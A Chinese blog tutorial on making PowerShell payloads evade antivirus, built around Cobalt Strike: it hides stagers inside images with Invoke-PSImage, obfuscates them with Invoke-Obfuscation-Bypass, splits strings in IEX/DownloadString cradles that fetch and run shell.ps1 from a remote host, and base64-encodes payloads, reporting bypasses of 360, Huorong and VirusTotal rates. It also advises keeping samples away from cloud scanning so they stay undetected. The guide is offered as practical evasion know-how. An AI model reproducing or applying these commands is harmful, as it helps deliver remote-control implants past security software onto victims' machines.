记一次powershell的免杀之路
powershell简介
powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。
PowerShell具有以下特点:
1、在Windows 7以上的操作系统中是默认安装的。
2、PowerShell脚本可以运行在内存中,不需要写入磁盘。
3、几乎不会触发杀毒软件。
4、可以远程执行。
5、目前很多工具都是基于PowerShell开发的。
6、使得Windows的脚本攻击变得更加容易。
7、cmd.exe通常会被阻止运行,但是PowerShell不会。
8、可以用来管理活动目录。
实战中powershell的应用
(1)PowerShell首先是个Shell,定义好了一堆命令与操作系统,特别是与文件系统交互,能够启动应用程序,甚至操纵应用程序;第二,PowerShell允许将几个命令组合起来放到文件里执行,实现文件级的重用,也就是说有脚本的性质;第三,PowerShell能够能够充分利用.Net类型和COM对象,来简单地与各种系统交互,完成各种复杂的、自动化的操作。
由于powershell的语言特点,近年来powershell在内网渗透中成为大热门,由此是各大杀软厂商"重点关注的对象"
(2)近源攻击:
生活中可以一些物理黑客常常会利用免杀的powershell代码烧录进badusb去入侵别人的电脑,这种方法简单粗暴,且攻击效果极佳。
杀毒软件检测原理
我们可以根据杀软的原理进行针对性的绕过
无文件落地的特点:
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在攻击者在行动中更隐蔽的实施攻击以及内网横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。
powershell有六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
查看powershell的默认策略:Get-ExecutionPolicy
可以看到默认的策略是Restricted 不允许任何脚本执行
我们可以用管理员权限去更改powershell的默认策略
Set-ExecutionPolicy Unrestricted
当然这种方法在实战中不太适用,动作太大容易被被杀软发现
cobaltstrike4.0
cobaltsrtike简介
实验开始之前需准备cobaltstrike4.0,作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选
fireeye多次分析过实用cobaltstrike进行apt的案例。
【安装及使用教程】
代码语言:javascript复制https://zhuanlan.zhihu.com/p/347671727?utm_source=wechat_session&utm_medium=social&utm_oi=1105459334804398080&utm_campaign=shareopn
0x01.Invoke-PSImage脚本图片混淆powershell代码
实验环境:
虚拟机win10(装有360全家桶,火绒安全)、物理机win10
window server2012(具有公网IP的服务器)
一张1920*1200的图片(只能大不能小),后面代码要插入图片里,像素小了位数不够。
Cobalt Strike工具 Invoke-psimage脚本
【Github传送门】:
代码语言:javascript复制https://github.com/peewpw/Invoke-PSImage
调用-PSImage
在 PNG 文件的像素中对 PowerShell 脚本进行编码,并生成要执行的 oneliner
Invoke-PSImage 使用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。它生成一个oneliner,用于从网络上的文件或文件中执行。
它可以仅使用有效载荷数据创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,使其看起来像一张真实的图片。图像保存为 PNG,并且可以无损压缩而不会影响执行有效负载的能力,因为数据存储在颜色本身中。创建新图像时,普通的 PowerShell 脚本实际上会被大大压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。
使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效负载。图像质量会因此而受到影响,但看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终是 PNG,因为它需要无损。图像的每个像素用于保存一个字节的脚本,因此你将需要一个像素数至少与脚本中的字节数一样多的图像。
用cobaltsrtike配置监听器并生成一个payload.ps1(详细操作可自己baidu)
在文件夹目录下输入cmd,执行以下三行命令
代码语言:javascript复制Powershell -ExecutionPolicy Bypass
Import-Module .Invoke-PSImage.ps1
Invoke-PSImage -Script .payload.ps1 -Image . 123.jpg -Out 456.jpg -Web
为了方便从上传,这里输出jpg格式,你也可以输出png格式,问题不大
并且复制这段代码
文件夹里多出一个5252kb的图片456.jpg
这就是Ivoke-PSImage脚本对powershell代码和图片进行混淆的图片马
端口自选我这里选择5432,注意不要与监听端口重复
复制该链接,替换掉上面生成出来代码中的http链接
新建一个文件,格式为.ps1将这段断码复制粘贴到里面,这就是一个新的powershell木马
可以看到cobaltsrike已经上线上线
在360的环境下cobaltstrike可以上线
Virus total免杀率95%(3/56)
可以看到vt静态查杀过不了微软的defender,windows defender 不愧是”地表最强杀软”
我们可以以对样本进行小小的修改,同样可以做到免杀,实际操作可参考方法三
0x02.Invoke-Obfuscation-Bypas脚本免杀
powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke
Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。
该工具可以对powershell代码进行 ASCII/hex/octal/binary甚至SecureString进行加密混淆
Invoke-Obfuscation主要是对ps1脚本进⾏免杀,所以这⾥还是需要现有⼀个ps的payload,我还是⽤法1的cobaltsrtike生成一个ps1文件
【github地址】:
代码语言:javascript复制https://github.com/AdminTest0/Invoke-Obfuscation-Bypass
用法:
在Invoke-Obfuscation-Bypass文件夹中输入powershell,打开powershell界面
依次输入
代码语言:javascript复制Powershell -ExecutionPolicy Bypass(要以管理员模式才能运行)
Import-Module .Invoke-Obfuscation.psd1
Invoke-Obfuscation
将刚才cs生成的payload.ps1放在刚才的文件夹
依次输入
代码语言:javascript复制set scriptpath C:Users用户名Desktoppayload.ps1 /*paloads.ps1的绝对路径/
token
all
1
out ..1.ps1 /*输出文件/
输出一个ps1文件
暂且不对它进行处理,断开网络放到360,火绒上进行检测,注意不要使用云查杀,否则样本会上传到云检测,过几天就不免杀了
静态能轻松绕过,动态也可使cobaltsrtike上线
Virus total免杀率95%(3/56)
0x03 .ps1源文件命令混淆(行为免杀)
虽然ps1代码⾃身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。
对于IEX这种⽅便快捷的⽅式直接运⾏会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。
⽐如利⽤replace替换函数,可以bypass。
例如常用powershell执行命令
代码语言:javascript复制powershell -NoExit "IEX(New-Object Net.WebClient).DownloadString.(''http://10.211.55.2/shell.ps1''))"
代码语言:javascript复制powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1 $c2)"
.利用' '拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)
代码语言:javascript复制powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘ ’tp://192.168.52.23:80/a')"
修改以下关键字,规避静态查杀(建议使用工具替换)
代码语言:javascript复制IEX $DoIt -- i`ex $DoIt
IEX $a -- ie`x $a
$var_runme -- $vrunme
$var_buffer -- $vbuffer
func_get_proc_address -- func_k
func_get_delegate_type -- func_l
$var_type_builder -- $vk
$var_parameters -- $vp
$var_return_type-- $ve
$var_procedure -- $v_pro
可bypass360和⽕绒
0x04. base64编码powershell 图片混淆技术绕过AV检测
首先我们在cobaltsrtike4.0中生成一个powershell代码文件(注意不能是64位的)
可以看到基本的意思是把代码以及字符串进行base64加密放进$var_code变量中然后用IEX运行,所以可以通过base64加密和解密来绕过静态特征码检测
选中@’’@里的所有代码进行base64加密,然后在下面进行解密
代码语言:javascript复制解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))
只需更改划红线的四个变量,保存,在powershell中执行可使cobaltsrtike上线
Virus total免杀率有点高
我们可以利用powershell的语言特点 进行变量的拼接,尝试把 base64 编码后的字符串拆开(注意这里变量的更改)
少了十个
但是这种方法仅限静态查杀,动态会马上被360和火绒检测,我们和可以结合方法一使用图片混淆进行绕过
过程省略
Cobaltstrike稳定上线,经实验 ,后渗透至少能坚持半个小时
Vt相对前面稍稍高了一点,我们也可以用方法三对ps1文件进行混淆这里就不实验了
总结:
总结:根据 方法四 base64 加密的方法还可以推断出使用其他加密比如 ascii 码加密也有同样的效果。四种方法中,方法三最稳定,都能绕过360和火绒,但是动态很难绕过微软的defender(开启360时会自动关闭defender),毕竟是自家的东西,什么花样都给你拿捏的死死的。每种方法都有它的利弊,喜欢哪种玩哪种。另外免杀技术都有时效性,现在杀软厂商云查杀库越来越强,一种新的免杀技术一般撑不过几个月,但是大家可以根据上述的方法变形,比如可以拆成很多段,在配合其他的加密和解密手段进行免杀,制作属于自己的免杀。
参考链接:https://mp.weixin.qq.com/s/wWybPCRsBo0xrvhfYL2YDw
觉得作者写的好的话可以点赞 关注!!
关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,“1120”安全参考杂志电子版,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,“2191”9月1日前潇湘信安所有文章打包。
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
欢 迎 私 下 骚 扰